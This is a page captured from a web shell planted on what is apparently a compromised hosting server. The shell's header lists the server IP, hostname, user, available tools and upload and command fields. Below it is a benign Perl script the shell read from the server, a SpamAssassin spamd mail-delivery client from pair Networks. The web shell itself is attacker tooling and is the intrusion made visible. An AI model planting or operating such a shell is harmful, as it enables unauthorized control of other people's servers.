403Webshell
Server IP : 216.92.14.13  /  Your IP : 216.73.216.171
Web Server : Apache
System : Linux vps4089.pairvps.com 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64
User : rmlac2fmr ( 1040637)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/bin/sa_client.pl
#!/usr/local/bin/perl
# $Id: sa_client.pl,v 1.46 2013/02/12 19:59:22 alan Exp $
#
# Copyright (c) 2002-2013 pair Networks

require 5.6.0; # for "use bytes"

use strict;
use Digest::MD5 qw/md5_hex/;
use Getopt::Long;
use IO::Socket;
use Pod::Usage;
use Sys::Hostname;
use Fcntl ':flock'; # Flocking for folder_message

=head1 NAME

sa_client.pl - an interface to spamd, the SpamAssassin daemon component

=head1 SYNOPSIS

sa_client.pl [options]

Options:

  --pipe, -pi              path to a UNIX socket pipe file (no default)
  --host, -ho              hostname for INET socket connections (defaults to
                           localhost)
  --port, -po              port for INET socket connections (defaults to 783)
  --report_header, -rh     add spam report to the header instead of the body
                           (defaults to off)
  --rewrite_subject, -rs   a tag to add to the subject of suspected spam 
                           (if no argument given, **JUNK** is the default)
  --max_size, -ms          maximum size (in bytes) of data to send to spamd
                           (defaults to 204800)
  --max_lines, -ml         maximum number of lines to send to spamd (defaults
                           to 200)
  --command1, -c1          delivery command if mail is not flagged as spam
  --command2, -c2          delivery command if mail _is_ flagged as spam
  --error_code, -ec        exit code to use if delivery fails (defaults to 111)
  --success_code, -sc      exit code to use after successful delivery (defaults
                           to 0)
  --alt_success_code, -ac  alternate exit code to use if the delivery is
                           successful, but the mail was flagged as spam 
                           (defaults to 0)
  --delivery_okay, -do     a comma separated (i.e. 5,10,15) list of exit
                           codes other than 0 the delivery program may exit 
                           with and still be successful (defaults to 5)
  --pass_thru, -pt         a comma separated list of exit codes that 
                           sa_client.pl should pass through to the MTA
                           (defaults to 99,100,111)
  --log, -l                keep a delivery log in specified location 
  --help, -h               print this message

At least one valid command must be given, with its full path, to ensure mail 
delivery.  If only one command is given, it is used regardless of the
findings of spamd.  The delivery command will be given the mail message on 
STDIN.  If the command is missing or invalid, the program exists with the
specified error code. 

If both a pipe and a host/port are specified, only the pipe will be used.

=cut

# Forward Declarations
sub dieout;


# Constants
my $LOCK_TIMEOUT = 30;   # How long to wait for a folder lock

# Set Defaults
my %OPT = (
    host             => 'localhost',
    port             => 783,
    max_size         => 204800,
    max_lines        => 200,
    max_line_chars   => 300,
    error_code       => 111,
    delivery_okay    => '5',
    pass_thru        => '99,100,111',
    success_code     => 0,
    alt_success_code => 0
);

# Get command-line options 
GetOptions(\%OPT, "rewrite_subject|rs:s", "report_header|rh",
           "max_size|ms=i", "max_lines|ml=i", "error_code|ec=i",
           "success_code|sc=i", "pipe|pi=s", "host|ho=s", "port|po=i",
           "log|l=s", "help|h", 'command1|c1=s@', 'command2|c2=s@',
           "alt_success_code|ac=i", "pass_thru|pt=s",
           "delivery_okay|do=s") or exit($OPT{error_code});

use constant hex_of_host => md5_hex(hostname());

# More Defaults
exists $OPT{rewrite_subject} and $OPT{rewrite_subject} ||= "**JUNK**";

# Split out the delivery codes and pass codes
for (qw(delivery_okay pass_thru)) {
    $OPT{$_} = [split /\s*,\s*/, $OPT{$_}];
}

# We want to defer on these signals
$SIG{$_} = sub { exit $OPT{error_code} } for qw(__DIE__ INT KILL TERM);

# If help requested, stop here
pod2usage($OPT{error_code}) if $OPT{help};

# Check delivery options (requires full paths)
foreach my $command (@{$OPT{command1}}, @{$OPT{command2}}) {
    if (my $folder = $command =~ /^>(.*)/) {
	check_folder($folder);
    } else {
	if (!-x (split(/\s+/, $command))[0]) { 
	    dieout("delivery command [$command] not executable");
	}
    }
}

# Open log
if ($OPT{log}) {
    open(LOG,">>$OPT{log}") if (-f $OPT{log} || !-e _)
      or print STDERR "couldn't open log";
    print LOG "Starting (",scalar localtime,")\n";
}

# Read message on <STDIN>
my $MSG = read_message();

# Write to appropriate delivery command, adding headers.
# - Assume unfiltered messages are ham; most likely this is via SMTPAUTH
# - Only deliver as spam if we have a spam delivery command 
my $delivery = (!$MSG->{is_spam} || !@{$OPT{command2}}) ? $OPT{command1} : $OPT{command2};
deliver_message($MSG, $delivery);

# We should never get here: deliver_message exits with the appropriate
# code.
exit $OPT{error_code};

sub read_message {
    my ($msg,$subswitch);

    # capture the headers
    while (<STDIN>) { 
        # Look for end of headers.
        # Allow envelope "From" as a valid header.  A customer FILTER
        # to sa_client calls preline, and we need to preserve the
        # envelope headers it creates.

        #18522: RFC2822 says ascii printable characters 33 through 126
        # (decimal) except colon, are all valid header field name
        # characters.
        unless (/^[\041-\071\073-\176]+:/ or /^\s+[^\s]/ or /^From /) {
	    #   new header                   cont. header   Envelope From

	    # we have the first line of the body 
	    push(@{$msg->{'body'}},$_); 
	    
	    # we're done with this loop
	    last;
        }

        # look for subject
        /^Subject:/i and $subswitch++;

	# store previous spamicity
	if (/^X-Spam-Status: Yes/) {
	    $msg->{is_spam} = 1;
	}

        # push header on to array
        push(@{$msg->{header}}, $_);
    }
    
    # add a blank Subject if none given 
    push(@{$msg->{header}},"Subject: (no subject)\n") unless $subswitch;

    # leave the rest of the body in STDIN for now

    return $msg;
}

# deliver_message
#
# Given a list of delivery commands, deliver the message to all of the
# commands.
#
# If any command has a non-zero exit code, we stop delivery and let
# qmail take the appropriate action based on that error code.

sub deliver_message {
    my ($msg, $commands) = @_;

    foreach my $command (@$commands) {
	my $return;
	if (my ($folder) = $command =~ /^>(.*)/) {
	    $return = folder_message($msg, $folder);
	} else {
	    $return = single_delivery($msg, $command);
	}
	if ($return) {
	    print LOG "- returning with $return at ", scalar localtime, 
	              "after delivery: '$command'\n";
	    exit $return;
	}
    }

    # We did all deliveries successfully.  Return the appropriate error code.
    my $code = $msg->{is_spam} ? $OPT{alt_success_code} : $OPT{success_code};
    print LOG "- exiting with code $code after successful deliveries at ", 
              scalar localtime, "\n";
    
    exit $code;
}

# build_message
#
# Given a message, alter the message to make it deliverable: rewrite
# spam headers, etc.
#
# The complete message will be stored as an arrayref in the 'complete'
# key of $msg, and the keys used to construct the message will be
# deleted.  Returns immediately if $msg{complete}.

sub build_message {
    my ($msg) = @_;

    $msg->{complete} and return;
    
    # Add old headers
    for (@{$msg->{header}}) {

	# Add the subject tag, if wanted.
        # In most cases this will already be done before we get the message.
	if (my ($subject) = /^Subject:\s*(.*)$/i and 
	    $msg->{is_spam} and
	    $OPT{rewrite_subject}) {
	    
	    if ($subject !~ /\Q$OPT{rewrite_subject}\E/) {
		$_ = "Subject: $OPT{rewrite_subject} $subject\n"; 
	    }
	}
	
	push @{$msg->{complete}}, $_;
    }
    delete $msg->{headers};

    # add new headers and body report, if needed
    push @{$msg->{complete}}, map {"$_\n"} @{$msg->{spam_headers}} if $msg->{spam_headers};
    push @{$msg->{complete}}, ("\n", $msg->{spam_body}, "\n") 
        if $msg->{spam_body} && !$OPT{report_header} && $msg->{is_spam}; 

    delete $msg->{spam_headers};
    
    # a blank line, only if we need it
    push @{$msg->{complete}}, "\n" if $msg->{body}->[0] !~ /^\s*$/;
    
    # add the rest of the stored message unaltered
    push @{$msg->{complete}}, @{$msg->{body}};

    delete $msg->{body};

    # ...and anything we haven't read of STDIN yet to finish
    push @{$msg->{complete}}, <STDIN>;

}

# single_delivery 
#
# Delivers the message to a single (non-folder) delivery command.

sub single_delivery {
    my ($msg, $command) = @_;
    print LOG "- delivering $command\n";

    # open pipe to delivery command
    open my $CMD, "|$command" or dieout "couldn't open delivery cmd\n";

    build_message($msg);

    print $CMD $_ for @{$msg->{complete}};
    
    # we should end with a blank line
    print $CMD "\n";

    my $pass_thru = 0;
    unless (close($CMD)) { 
        $! and dieout("error closing delivery pipe");
        my $error = $? >> 8;

        # check for codes we should pass through 
        if (grep {$error == $_} @{$OPT{pass_thru}}) {
            $pass_thru = $error;

        # If the error is not an alternate success code, then use our
        # default error result code (via dieout)
        } elsif (!grep {$error == $_} @{$OPT{delivery_okay}}) {
            dieout("error from delivery command [$error]"); 
        }
    }

    return $pass_thru + 0;
}


# check_folder
#
# Verify a folder it correct

sub check_folder {
    my $folder = shift;
    -d $folder and dieout "folder command [>$folder] points to a directory";
    # Otherwise assume it's a valid path, and count on the fact that
    # we're running as the user to protect us.
}

# folder_message
#
# Write a message out to an mbox mail folder.
# This function was extracted from folder_mail.pl r1.8

sub folder_message {
    my ($msg, $folder) = @_;
    
    # open the folder file
    open(my $FOLDER, ">>$folder") or return 1;

    print LOG "- foldering to $folder\n";

    # get an exclusive lock
    eval {
	local $SIG{ALRM} = sub { die("no_lock\n") };
	alarm($LOCK_TIMEOUT);
	flock($FOLDER, LOCK_EX);
    };
    alarm(0);
    $@ =~ /no_lock/ and return 2; # failed to get lock
    if ($@) {
	print LOG "- FOLDER error: $@\n";
	return 3;              # some other error occurred
    }

    # make sure nobody appended while we were waiting
    seek($FOLDER, 0, 2);

    build_message($msg);
    
    # add envelope From header
    print $FOLDER "From $ENV{SENDER} ", scalar localtime, "\n";

    # add file
    foreach my $line (@{$msg->{complete}}) { 
	s/^From />From /; 
	print $FOLDER $line;
    }

    # Closing blank line
    print $FOLDER "\n";

    # close file
    close $FOLDER;

    # we're done, return successful result code
    return 0;
}

sub dieout {
    chomp(my $msg = shift);
    print LOG "- ! $msg\n"; 
    print STDERR "$msg\n"; 
    exit $OPT{error_code};
}

Youez - 2016 - github.com/yon3zu
LinuXploit